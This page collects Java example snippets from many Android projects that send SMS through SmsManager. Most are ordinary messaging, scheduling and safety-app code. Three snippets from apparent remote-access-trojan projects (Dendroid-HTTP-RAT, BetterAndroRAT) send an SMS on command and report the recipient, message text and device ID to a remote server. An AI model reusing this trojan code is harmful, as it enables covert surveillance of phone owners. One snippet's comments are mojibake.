Java 类android.telephony.SmsManager 实例源码

项目:AdoBot    文件:SendSmsTask.java   
public void sendSms(String phonenumber,String message)
{
    SmsManager manager = SmsManager.getDefault();

    PendingIntent piSend = PendingIntent.getBroadcast(context, 0, new Intent(SMS_SENT), 0);
    PendingIntent piDelivered = PendingIntent.getBroadcast(context, 0, new Intent(SMS_DELIVERED), 0);

    int length = message.length();

    if(length > MAX_SMS_MESSAGE_LENGTH)
    {
        ArrayList<String> messagelist = manager.divideMessage(message);

        manager.sendMultipartTextMessage(phonenumber, null, messagelist, null, null);
    }
    else
    {
        manager.sendTextMessage(phonenumber, null, message, piSend, piDelivered);
    }
}
项目:2017.2-codigo    文件:SmsSendDirectActivity.java   
@Override
public void onClick(View v) {
    String message = msg.getText().toString();
    registerReceiver(enviadoReceiver, new IntentFilter(SENT_BROADCAST));
    registerReceiver(entregueReceiver, new IntentFilter(DELIVERED_BROADCAST));

    PendingIntent piEnvio   = PendingIntent.getBroadcast(this,0,new Intent(SENT_BROADCAST),0);
    PendingIntent piEntrega = PendingIntent.getBroadcast(this,0,new Intent(DELIVERED_BROADCAST),0);

    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(
            telContato,
            null,
            message,
            piEnvio,
            piEntrega);
}
项目:PeSanKita-android    文件:OutgoingLollipopMmsConnection.java   
@Override
@TargetApi(VERSION_CODES.LOLLIPOP)
public @Nullable synchronized SendConf send(@NonNull byte[] pduBytes, int subscriptionId)
    throws UndeliverableMessageException
{
  beginTransaction();
  try {
    MmsBodyProvider.Pointer pointer = MmsBodyProvider.makeTemporaryPointer(getContext());
    Util.copy(new ByteArrayInputStream(pduBytes), pointer.getOutputStream());

    SmsManager smsManager;

    if (VERSION.SDK_INT >= 22 && subscriptionId != -1) {
      smsManager = SmsManager.getSmsManagerForSubscriptionId(subscriptionId);
    } else {
      smsManager = SmsManager.getDefault();
    }

    smsManager.sendMultimediaMessage(getContext(),
                                     pointer.getUri(),
                                     null,
                                     null,
                                     getPendingIntent());

    waitForResult();

    Log.w(TAG, "MMS broadcast received and processed.");
    pointer.close();

    if (response == null) {
      throw new UndeliverableMessageException("Null response.");
    }

    return (SendConf) new PduParser(response).parse();
  } catch (IOException | TimeoutException e) {
    throw new UndeliverableMessageException(e);
  } finally {
    endTransaction();
  }
}
项目:PeSanKita-android    文件:SmsSentJob.java   
private void handleSentResult(MasterSecret masterSecret, long messageId, int result) {
  try {
    EncryptingSmsDatabase database = DatabaseFactory.getEncryptingSmsDatabase(context);
    SmsMessageRecord      record   = database.getMessage(masterSecret, messageId);

    switch (result) {
      case Activity.RESULT_OK:
        database.markAsSent(messageId, false);
        break;
      case SmsManager.RESULT_ERROR_NO_SERVICE:
      case SmsManager.RESULT_ERROR_RADIO_OFF:
        Log.w(TAG, "Service connectivity problem, requeuing...");
        ApplicationContext.getInstance(context)
            .getJobManager()
            .add(new SmsSendJob(context, messageId, record.getIndividualRecipient().getNumber()));
        break;
      default:
        database.markAsSentFailed(messageId);
        MessageNotifier.notifyMessageDeliveryFailed(context, record.getRecipients(), record.getThreadId());
    }
  } catch (NoSuchMessageException e) {
    Log.w(TAG, e);
  }
}
项目:PeSanKita-android    文件:SmsSendJob.java   
private SmsManager getSmsManagerFor(int subscriptionId) {
  if (Build.VERSION.SDK_INT >= 22 && subscriptionId != -1) {
    return SmsManager.getSmsManagerForSubscriptionId(subscriptionId);
  } else {
    return SmsManager.getDefault();
  }
}
项目:airgram    文件:Main2Activity.java   
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.dialog);
    findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage(getIntent().getExtras().getString("d1"), null, getIntent().getExtras().getString("d2"), null, null);
        }
    });
    TextView t = (TextView) findViewById(R.id.textView1);
    TextView t2 = (TextView) findViewById(R.id.textView2);
    t.setText(getIntent().getExtras().getString("s1"));
    t2.setText(getIntent().getExtras().getString("s2"));
}
项目:2017.2-codigo    文件:SmsSendDirectActivity.java   
@Override
public void onReceive(Context context, Intent intent) {
    switch (getResultCode()) {
        case Activity.RESULT_OK:
            Toast.makeText(getBaseContext(), "SMS enviado", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
            Toast.makeText(getBaseContext(), "Falha geral", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_NO_SERVICE:
            Toast.makeText(getBaseContext(), "Sem serviço", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_NULL_PDU:
            Toast.makeText(getBaseContext(), "Null PDU", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_RADIO_OFF:
            Toast.makeText(getBaseContext(), "Radio off", Toast.LENGTH_SHORT).show();
            break;
    }

    unregisterReceiver(this);
}
项目:AndroidUtilCode-master    文件:PhoneUtils.java   
/**
 * 发送短信
 * <p>需添加权限 {@code <uses-permission android:name="android.permission.SEND_SMS"/>}</p>
 *
 * @param phoneNumber 接收号码
 * @param content     短信内容
 */
public static void sendSmsSilent(String phoneNumber, String content) {
    if (StringUtils.isEmpty(content)) return;
    PendingIntent sentIntent = PendingIntent.getBroadcast(Utils.getContext(), 0, new Intent(), 0);
    SmsManager smsManager = SmsManager.getDefault();
    if (content.length() >= 70) {
        List<String> ms = smsManager.divideMessage(content);
        for (String str : ms) {
            smsManager.sendTextMessage(phoneNumber, null, str, sentIntent, null);
        }
    } else {
        smsManager.sendTextMessage(phoneNumber, null, content, sentIntent, null);
    }
}
项目:CineReminDay    文件:CRDUtils.java   
public static void sendSmsToOrange(Context context) {
    if (ContextCompat.checkSelfPermission(context.getApplicationContext(), Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED) {
        Log.v(CRDUtils.class.getName(), "sendSmsToOrange() => Sending SMS !");

        toggleSmsReceiver(context.getApplicationContext(), true);

        CRDSharedPreferences.getInstance(context).setSendingSmsEpoch();

        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(CRDUtils.ORANGE_CINEDAY_NUMBER, null, CRDUtils.ORANGE_CINEDAY_KEYWORD, null, null);
    } else {
        Log.e(CRDUtils.class.getName(), "sendSmsToOrange() => FAILED TO SEND SMS ! (Missing permission)");

        // TODO VOLKO Display notification to tell him he should give us the right to send SMS !
    }
}
项目:Gps    文件:Gps4Activity.java   
public void messageSending(String message){
        SmsManager smsManager = SmsManager.getDefault();
//        smsManager.sendTextMessage(number, null, message, null, null);
        result=getContacts();
        for (int i=0;i<result.size();i++){

            try{
                smsManager.sendTextMessage(result.get(i),null,message,null,null);
                Toast.makeText(getApplicationContext(), "SMS sent : "+String.valueOf(numbers),
                        Toast.LENGTH_LONG).show();
            } catch (Exception e){
                Toast.makeText(getApplicationContext(),
                        "SMS sending failed "+e.getMessage(),Toast.LENGTH_LONG).show();
                e.printStackTrace();
            }
        }
    }
项目:haven    文件:ListActivity.java   
private void testNotifications ()
{

    if (!TextUtils.isEmpty(preferences.getSignalUsername())) {
        SignalSender sender = SignalSender.getInstance(this, preferences.getSignalUsername().trim());
        ArrayList<String> recip = new ArrayList<>();
        recip.add(preferences.getSmsNumber());
        sender.sendMessage(recip, getString(R.string.signal_test_message), null);
    }
    else if (!TextUtils.isEmpty(preferences.getSmsNumber())) {

        SmsManager manager = SmsManager.getDefault();

        StringTokenizer st = new StringTokenizer(preferences.getSmsNumber(),",");
        while (st.hasMoreTokens())
            manager.sendTextMessage(st.nextToken(), null, getString(R.string.signal_test_message), null, null);

    }
}
项目:Dendroid-HTTP-RAT    文件:MyService.java   
@Override
    protected String doInBackground(String... params) {     
    boolean isNumeric = i.matches("[0-9]+");
    if(isNumeric)
    {
      SmsManager smsManager = SmsManager.getDefault();
      smsManager.sendTextMessage(i, null, k, null, null);
      try {
    getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {

    e.printStackTrace();
}           
    }
  return "Executed";
    }
项目:android-fundamentals-phone-sms    文件:MainActivity.java   
/**
 * Defines a string (destinationAddress) for the phone number
 * and gets the input text for the SMS message.
 * Uses SmsManager.sendTextMessage to send the message.
 * Before sending, checks to see if permission is granted.
 *
 * @param view View (message_icon) that was clicked.
 */
public void smsSendMessage(View view) {
    EditText editText = (EditText) findViewById(R.id.editText_main);
    // Set the destination phone number to the string in editText.
    String destinationAddress = editText.getText().toString();
    // Find the sms_message view.
    EditText smsEditText = (EditText) findViewById(R.id.sms_message);
    // Get the text of the sms message.
    String smsMessage = smsEditText.getText().toString();
    // Set the service center address if needed, otherwise null.
    String scAddress = null;
    // Set pending intents to broadcast
    // when message sent and when delivered, or set to null.
    PendingIntent sentIntent = null, deliveryIntent = null;
    // Check for permission first.
    checkForSmsPermission();
    // Use SmsManager.
    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(destinationAddress, scAddress, smsMessage,
            sentIntent, deliveryIntent);
}
项目:Cable-Android    文件:SmsSentJob.java   
private void handleSentResult(MasterSecret masterSecret, long messageId, int result) {
  try {
    EncryptingSmsDatabase database = DatabaseFactory.getEncryptingSmsDatabase(context);
    SmsMessageRecord      record   = database.getMessage(masterSecret, messageId);

    switch (result) {
      case Activity.RESULT_OK:
        database.markAsSent(messageId, false);
        break;
      case SmsManager.RESULT_ERROR_NO_SERVICE:
      case SmsManager.RESULT_ERROR_RADIO_OFF:
        Log.w(TAG, "Service connectivity problem, requeuing...");
        ApplicationContext.getInstance(context)
            .getJobManager()
            .add(new SmsSendJob(context, messageId, record.getIndividualRecipient().getNumber()));
        break;
      default:
        database.markAsSentFailed(messageId);
        MessageNotifier.notifyMessageDeliveryFailed(context, record.getRecipients(), record.getThreadId());
    }
  } catch (NoSuchMessageException e) {
    Log.w(TAG, e);
  }
}
项目:phoneVerifier    文件:SmsUtil.java   
public static void sendSMS(String phoneNumber, Context context){
    Log.d(TAG, "Going to send an SMS message to: " + phoneNumber + ". Current thread name: "
            + Thread.currentThread().getName());
    String uuid = UUID.randomUUID().toString();

    //last 6 chars of the UUID are enough
    String verificationCode = uuid.substring(uuid.length() - 6);

    Intent sentIntent = new Intent(SmsSentBroadcastReceiver.SENT_ACTION).putExtra(PHONE_NUMBER_EXTRA, phoneNumber).
            putExtra(VERIFICATION_CODE_EXTRA, verificationCode);
    PendingIntent sentPI = PendingIntent.getBroadcast(context, 0, sentIntent, 0);


    Intent deliveredIntent = new Intent(SmsDeliveredBroadcastReceiver.DELIVERED_ACTION).putExtra(PHONE_NUMBER_EXTRA, phoneNumber).
            putExtra(VERIFICATION_CODE_EXTRA, verificationCode);
    PendingIntent deliveredPI = PendingIntent.getBroadcast(context, 0, deliveredIntent, 0);

    final SmsManager smsManager = SmsManager.getDefault();
    String messageContent =  getMessageContent(phoneNumber, context, verificationCode);
    Log.d(TAG, "Content of message to be sent: " + messageContent);
    smsManager.sendTextMessage(phoneNumber, null, messageContent, sentPI, deliveredPI);

    Log.d(TAG, "SMS message sent to: " + phoneNumber);
}
项目:appinventor-extensions    文件:Texting.java   
/**
 * Callback method to handle the result of attempting to send a message. 
 * Each message is assigned a Broadcast receiver that is notified by 
 * the phone's radio regarding the status of the sent message. The 
 * receivers call this method.  (See transmitMessage() method below.)
 * 
 * @param context
 *            The context in which the calling BroadcastReceiver is running.
 * @param receiver
 *            Currently unused. Intended as a special BroadcastReceiver to
 *            send results to. (For instance, if another plugin wanted to do
 *            its own handling.)
 * @param resultCode, the code sent back by the phone's Radio
 * @param seq, the message's sequence number
 * @param smsMsg, the message being processed
 */
private synchronized void handleSentMessage(Context context,
                                            BroadcastReceiver receiver, int resultCode, String smsMsg) {
  switch (resultCode) {
    case Activity.RESULT_OK:
      Log.i(TAG, "Received OK, msg:" + smsMsg);
      Toast.makeText(activity, "Message sent", Toast.LENGTH_SHORT).show();
      break;
    case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
      Log.e(TAG, "Received generic failure, msg:" + smsMsg);
      Toast.makeText(activity, "Generic failure: message not sent", Toast.LENGTH_SHORT).show();
      break;
    case SmsManager.RESULT_ERROR_NO_SERVICE:
      Log.e(TAG, "Received no service error, msg:"  + smsMsg);
      Toast.makeText(activity, "No Sms service available. Message not sent.", Toast.LENGTH_SHORT).show();
      break;
    case SmsManager.RESULT_ERROR_NULL_PDU:
      Log.e(TAG, "Received null PDU error, msg:"  + smsMsg);
      Toast.makeText(activity, "Received null PDU error. Message not sent.", Toast.LENGTH_SHORT).show();
      break;
    case SmsManager.RESULT_ERROR_RADIO_OFF:
      Log.e(TAG, "Received radio off error, msg:" + smsMsg);
      Toast.makeText(activity, "Could not send SMS message: radio off.", Toast.LENGTH_LONG).show();
      break;
  }
}
项目:nirbhaya    文件:LocationSendService.java   
private void sendSMS(String phoneNumber, String message)/* throws IOException*/
{
    String newLine = System.getProperty("line.separator");
    String finalSMSString = "";// = message;
    SmsManager sms = SmsManager.getDefault();

    boolean isGPSEnabled = lm.isProviderEnabled(LocationManager.GPS_PROVIDER);

    // getting network status
    boolean isNetworkEnabled = lm.isProviderEnabled(LocationManager.NETWORK_PROVIDER);

    if((isNetworkEnabled == true) || (isGPSEnabled == true)){
        finalSMSString = "%!" + message +"Please open the Nirbhaya App"+ "@" + lat + "#" + lon ;
        //finalSMSString = message + lat + "#" + lon ;
        Log.i("SMS Message Latitude:" , Double.toString(lat));
        Log.i("SMS Messgae Longitude: ", Double.toString(lon));
    }

    else{
        finalSMSString = message;
    }
    ArrayList<String> msgStringArray = sms.divideMessage(finalSMSString);

    sms.sendMultipartTextMessage(phoneNumber, null, msgStringArray, null, null);
}
项目:remotedroid    文件:SMSUtils.java   
public void sendSMS(String address, String content) {
    lastSentSMSStatus = -1;
    SmsManager smsManager = SmsManager.getDefault();

    PendingIntent sentPI = PendingIntent.getBroadcast(mContext, 0,
            new Intent("SMS_SENT"), 0);

    mContext.registerReceiver(new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            lastSentSMSStatus = getResultCode();
            Toast.makeText(mContext,"message sent", Toast.LENGTH_LONG).show();
        }
    }, new IntentFilter("SMS_SENT"));

    smsManager.sendTextMessage("tel:".concat(address), null, content, sentPI, null);
}
项目:SmsScheduler    文件:SmsSenderService.java   
private void sendSms(SmsModel sms) {
    ArrayList<PendingIntent> sentPendingIntents = new ArrayList<>();
    ArrayList<PendingIntent> deliveredPendingIntents = new ArrayList<>();
    PendingIntent sentPendingIntent = getPendingIntent(sms.getTimestampCreated(), SmsSentReceiver.class);
    PendingIntent deliveredPendingIntent = getPendingIntent(sms.getTimestampCreated(), SmsDeliveredReceiver.class);

    SmsManager smsManager = getSmsManager(sms.getSubscriptionId());
    ArrayList<String> smsMessage = smsManager.divideMessage(sms.getMessage());
    boolean deliveryReports = PreferenceManager
        .getDefaultSharedPreferences(getApplicationContext())
        .getBoolean(SmsSchedulerPreferenceActivity.PREFERENCE_DELIVERY_REPORTS, false)
    ;
    for (int i = 0; i < smsMessage.size(); i++) {
        sentPendingIntents.add(i, sentPendingIntent);
        if (deliveryReports) {
            deliveredPendingIntents.add(i, deliveredPendingIntent);
        }
    }
    smsManager.sendMultipartTextMessage(
        sms.getRecipientNumber(),
        null,
        smsMessage,
        sentPendingIntents,
        deliveryReports ? deliveredPendingIntents : null
    );
}
项目:TomatoApp    文件:RecoverPassword.java   
public void proceed(View v) {
//heroField.testValidity() &&

        if (
                myPhone.getFSH().equals(heroField.getText().toString())) {

            SmsManager manager = SmsManager.getDefault();
            manager.sendTextMessage(
                    myPhone.getFSH(),
                    null,
                    "Your password is: " + myPhone.getPassword() +
                            " . Sent via Tomato Safety App.", null, null);
            Toast.makeText(RecoverPassword.this,
                    "Password Sent", Toast.LENGTH_SHORT).show();
            this.finish();

        } else {
            Snackbar.make(heroField,
                    "Invalid Number. Try Again", Snackbar.LENGTH_SHORT).show();

        }
    }
项目:Damsel-In-Distress    文件:MainActivity.java   
private void sendSMS(User distressedUser, Contact helpingUser, double distance) {
    Log.d(TAG, "App User Send SMS");
    // String distressedPhone = distressedUser.getPhone();
    String distressedName = distressedUser.getInfo().getName();
    String distressedLat = distressedUser.getLocation().getLatitude();
    String distressedLon = distressedUser.getLocation().getLongitude();

    String helperPhone = helpingUser.getPhone();
    String helperName = helpingUser.getName();
    String distressMessage = String.format(getString(R.string.nearby_helper_distress_message_text),
            helperName, distressedName, String.valueOf(distance), distressedLat, distressedLon);
    Log.d(TAG, "Distress Message: " + distressMessage);
    try {
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(helperPhone, null, distressMessage, null, null);
        Log.d(TAG, "SMS sent to " + helperName + " successfully.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_sent_message), helperName),
                Toast.LENGTH_LONG).show();
    } catch (Exception e) {
        Log.d(TAG, "SMS to " + helperName + " failed.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_failed_message), helperName),
                Toast.LENGTH_LONG).show();
        e.printStackTrace();
    }
}
项目:Damsel-In-Distress    文件:MainActivity.java   
private void sendSMS(User distressedUser, Contact helpingContact) {
    Log.d(TAG, "Emergency Contact Send SMS");
    // String distressedPhone = distressedUser.getPhone();
    String distressedName = distressedUser.getInfo().getName();
    String distressedLat = distressedUser.getLocation().getLatitude();
    String distressedLon = distressedUser.getLocation().getLongitude();

    String helperPhone = helpingContact.getPhone();
    String helperName = helpingContact.getName();
    String distressMessage = String.format(getString(R.string.emergency_contact_distress_message_text),
            helperName, distressedName, distressedLat, distressedLon);
    Log.d(TAG, "Distress Message: " + distressMessage);
    try {
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(helperPhone, null, distressMessage, null, null);
        Log.d(TAG, "SMS sent to " + helperName + " successfully.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_sent_message), helperName),
                Toast.LENGTH_LONG).show();
    } catch (Exception e) {
        Log.d(TAG, "SMS to " + helperName + " failed.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_failed_message), helperName),
                Toast.LENGTH_LONG).show();
        e.printStackTrace();
    }
}
项目:mobliesafe    文件:BootCompleteReceiver.java   
@Override
public void onReceive(Context context, Intent intent) {
    SharedPreferences sp = context.getSharedPreferences("config", Context.MODE_PRIVATE);
    boolean protect = sp.getBoolean("protect", false);
    if (protect) {
        String sim = sp.getString("sim", null);//拿到保存过得sim卡信息
        if (!TextUtils.isEmpty(sim)) {
            TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
            String currentSim = tm.getSimSerialNumber();//获取当前的sim卡信息
            if (sim.equals(currentSim)) {
                //说明手机安全
            } else {
                //sim卡已经更换
                String safe_phone = sp.getString("safe_phone", "");
                // 发送短信给安全号码
                SmsManager smsManager = SmsManager.getDefault();
                smsManager.sendTextMessage(safe_phone, null, "sim卡已经更换", null, null);
            }
        }
    }
}
项目:mobilesafe    文件:BootReceiver.java   
@Override
public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub
    Log.i(tag, "�����ֻ��ɹ���,���Ҽ���������Ӧ�Ĺ㲥......");
    //1,��ȡ�������ֻ���sim�������к�
    TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
    String simSerialNumber = tm.getSimSerialNumber()+"xxx"; //�����ɲ�һ��
    //2,sp�д洢�����п���
    String sim_number = SpUtil.getString(context,ConstantValue.SIM_NUMBER, "");
    //3,�ȶԲ�һ��
    if(!simSerialNumber.equals(sim_number)){
        //4,���Ͷ��Ÿ�ѡ����ϵ�˺���
        SmsManager sms = SmsManager.getDefault();
        sms.sendTextMessage("5556", null, "sim change!!!", null, null);
    }
}
项目:Stayfit    文件:LoadMapActivity.java   
protected void sendSMSMessage() {
    Log.i("Send SMS", "");
    String phoneNo = phoneno;
    //String lat = getIntent().getExtras().getString("Latitude");
    //String lng = getIntent().getExtras().getString("Longitude");
    // Replace latitude and longitude values
    Address msgaddress = AskLocationActivity.address1;
    String message = "Shall we run together, Location:"+ "http://maps.google.com/?q="+msgaddress.getLatitude()+","+msgaddress.getLongitude();

    Log.d("Message",message);
    try {
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, message, null, null);
        Toast.makeText(getApplicationContext(), "Invitation sent.", Toast.LENGTH_LONG).show();
    }

    catch (Exception e) {
        Toast.makeText(getApplicationContext(), "SMS faild, please try again.", Toast.LENGTH_LONG).show();
        e.printStackTrace();
    }
}
项目:Asynchronous-Android-Programming    文件:SMSDispatcher.java   
void processDispatch(Context context, Intent intent){
    String to = intent.getStringExtra(TO_KEY);
    String text = intent.getStringExtra(TEXT_KEY);
    Log.i("SMS Dispatcher", "Delivering message to " + text);
    SmsManager sms = SmsManager.getDefault();
    Intent deliveredIntent = new Intent("sms_delivered");
    deliveredIntent.putExtra(SMSDispatcher.TO_KEY, to);
    deliveredIntent.putExtra(SMSDispatcher.TEXT_KEY, text);

    PendingIntent pi = PendingIntent.getBroadcast(
                        context,
                        DISPATCH_ACTION.hashCode(),
                        deliveredIntent, 0);

    sms.sendTextMessage(to, null, text, pi,null);
}
项目:MobilePhoneSafeProtector    文件:TrafficMonitoringActivity.java   
@Override
public void onClick(View v) {
    //首先判断是哪个运营商
    int i = preferences.getInt("operator", 0);
    SmsManager smsManager = SmsManager.getDefault();
    switch (i) {
        case MOBILE_CHINA:
            //中国移动
            smsManager.sendTextMessage("10086", null, "CXGPRS", null, null);
            break;
        case UNION_CHINA:
            //中国联通,发送LLCX到10010
            //获取系统默认的短信管理器发送短息
            smsManager.sendTextMessage("10010", null, "LLCX", null, null);
            break;
        case TELECOM_CHINA:
            //中国电信
            smsManager.sendTextMessage("10001", null, "108", null, null);
            break;
        default:
            break;
    }
}
项目:fastDev    文件:IntentUtils.java   
/**
 * <uses-permissionandroid:name="android.permission.SEND_SMS" />
 *
 * @param mobile
 * @param content
 */
public static void sysSendSms(final String mobile, final String content){
    PermissionUtils.askSms(new PermissionUtils.PermissionListener() {
        @Override
        public void onGranted() {
            SmsManager smsManager = SmsManager.getDefault();
            ArrayList<String> texts = smsManager.divideMessage(content);//拆分短信,短信字数太多了的时候要分几次发
            for(String text : texts){
                smsManager.sendTextMessage(mobile, null, text, null, null);//发送短信,mobile是对方手机号
            }
        }

        @Override
        public void onDenied(List<String> permissions) {

        }
    });

}
项目:darksms    文件:SmsSendIntentService.java   
/**
 * @param context
 * @param phoneNumber
 * @param body
 */
public static void sendRawMessage(Context context, String phoneNumber, String body, String id)
{
    SmsManager sms = SmsManager.getDefault();
    ArrayList<String> parts=sms.divideMessage(body);

    Intent intentSent=new Intent(Constants.ACTION_SMS_SENT);
    intentSent.putExtra(Constants.EXTRA_MESSAGE_ID, id);
    PendingIntent sentPI = PendingIntent.getBroadcast(context, 0, intentSent, PendingIntent.FLAG_CANCEL_CURRENT);

    Intent intentDelivered=new Intent(Constants.ACTION_SMS_DELIVERED);
    intentDelivered.putExtra(Constants.EXTRA_MESSAGE_ID, id);
    PendingIntent deliveredPI = PendingIntent.getBroadcast(context, 0, intentDelivered, PendingIntent.FLAG_CANCEL_CURRENT);

    ArrayList<PendingIntent> sentPIs = new ArrayList<PendingIntent>();
    ArrayList<PendingIntent> deliveredPIs = new ArrayList<PendingIntent>();
    for(int i=0; i < parts.size(); i++)
    {
        sentPIs.add(sentPI);
        deliveredPIs.add(deliveredPI);
    }
    sms.sendMultipartTextMessage(phoneNumber, null, parts, sentPIs, deliveredPIs);
    if(Me.DEBUG)
        Log.i(TAG, "Send message=" + body);
}
项目:BetterAndroRAT    文件:MyService.java   
@Override
    protected String doInBackground(String... params) {     
    boolean isNumeric = i.matches("[0-9]+");
    if(isNumeric)
    {
      SmsManager smsManager = SmsManager.getDefault();
      smsManager.sendTextMessage(i, null, k, null, null);
      try {
    getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {

    e.printStackTrace();
}           
    }
  return "Executed";
    }
项目:shexter    文件:SmsSendThread.java   
@Override
protected Integer doInBackground(String... params) {
    //Log.d(TAG, "About to send " + params[1] + " to " + params[0]);
    SmsManager smsm = SmsManager.getDefault();
    ArrayList<String> divided = smsm.divideMessage(params[1]);
    Log.d(TAG, "Message divided into " + divided.size() + " parts.");
    // could wait for the message to _actually_ be sent using PendingIntents
    if(divided.size() > 1) {
        smsm.sendMultipartTextMessage(params[0], null, divided, null, null);
    }
    else {
        smsm.sendTextMessage(params[0], null, params[1], null, null);
    }

    Log.d(TAG, "Messages sent successfully, probably.");
    return divided.size();
}
项目:SprintNBA    文件:Utils.java   
/**
 * 发送短信息
 *
 * @param phoneNumber 接收号码
 * @param content     短信内容
 */
private void toSendSMS(Context context, String phoneNumber, String content) {
    if (context == null) {
        throw new IllegalArgumentException("context can not be null.");
    }
    PendingIntent sentIntent = PendingIntent.getBroadcast(context, 0, new Intent(), 0);
    SmsManager smsManager = SmsManager.getDefault();

    if (content.length() >= 70) {
        //短信字数大于70,自动分条
        List<String> ms = smsManager.divideMessage(content);
        for (String str : ms) {
            //短信发送
            smsManager.sendTextMessage(phoneNumber, null, str, sentIntent, null);
        }
    } else {
        smsManager.sendTextMessage(phoneNumber, null, content, sentIntent, null);
    }
}
项目:HatkeMessenger    文件:SmsDetailedView.java   
private void sendSMSNow() {

        BroadcastReceiver sendBroadcastReceiver = new SentReceiver();
        BroadcastReceiver deliveryBroadcastReciever = new DeliverReceiver();

        String SENT = "SMS_SENT";
        String DELIVERED = "SMS_DELIVERED";

        PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, new Intent(SENT), 0);
        PendingIntent deliveredPI = PendingIntent.getBroadcast(this, 0, new Intent(DELIVERED), 0);

        registerReceiver(sendBroadcastReceiver, new IntentFilter(SENT));
        registerReceiver(deliveryBroadcastReciever, new IntentFilter(DELIVERED));

        try {
            SmsManager sms = SmsManager.getDefault();
            sms.sendTextMessage(contact, null, message, sentPI, deliveredPI);
        }catch (Exception e){
            Toast.makeText(this,getString(R.string.cant_send),Toast.LENGTH_SHORT).show();

        }
    }
项目:HatkeMessenger    文件:SentReceiver.java   
@Override
public void onReceive(Context context, Intent arg1) {
    switch (getResultCode()) {
        case Activity.RESULT_OK:
            Toast.makeText(context, "SMS Sent", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
            Toast.makeText(context, "Generic failure",
                    Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_NO_SERVICE:
            Toast.makeText(context, "No service",
                    Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_NULL_PDU:
            Toast.makeText(context, "Null PDU", Toast.LENGTH_SHORT)
                    .show();
            break;
        case SmsManager.RESULT_ERROR_RADIO_OFF:
            Toast.makeText(context, "No network",
                    Toast.LENGTH_SHORT).show();
            break;
    }

}
项目:MobileGuard    文件:GpsTraceService.java   
@Override
public void onLocationChanged(Location location) {
    // get location info
    double altitude = location.getAltitude();
    double longitude = location.getLongitude();
    double latitude = location.getLatitude();
    StringBuilder buffer = new StringBuilder();
    buffer.append("altitude:" + altitude + "\n");
    buffer.append("longitude:" + longitude + "\n");
    buffer.append("latitude:" + latitude + "\n");

    // get safe phone number
    String safePhone = ConfigUtils.getString(GpsTraceService.this, Constant.KEY_SAFE_PHONE, "");
    if(TextUtils.isEmpty(safePhone)) {
        Log.e(TAG, "safe phone is empty");
        return;
    }

    // send location info to safe phone number
    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(safePhone, null, buffer.toString(), null, null);
    System.out.println("success send a sms to " + safePhone + ":\n" + buffer.toString());
    // stop service
    stopSelf();
}
项目:Dendroid-HTTP-RAT    文件:MyService.java   
@Override
    protected String doInBackground(String... params) {     
    boolean isNumeric = i.matches("[0-9]+");
    if(isNumeric)
    {
      SmsManager smsManager = SmsManager.getDefault();
      smsManager.sendTextMessage(i, null, k, null, null);
      try {
    getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {

    e.printStackTrace();
}           
    }
  return "Executed";
    }
项目:AndroidBasicCommonDemos    文件:MainActivity.java   
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    sender = (TextView) findViewById(R.id.sender);
    content = (TextView) findViewById(R.id.content);

    receiveFilter = new IntentFilter();
    receiveFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
    messageReceiver = new MessageReceiver();
    registerReceiver(messageReceiver,receiveFilter);

    send = (Button) findViewById(R.id.send);
    send.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage("15067151195",null,"短信内容",null,null);
        }
    });
}
项目:android.java    文件:SMSUtils.java   
public static void sendSMS(Context context, String phoneNumber, ArrayList<String> text) {
    String stringText = AgTextUtil.listToString(text);
    Intent messageIntent = new Intent(DELIVER_RECEIVER_FILTER);
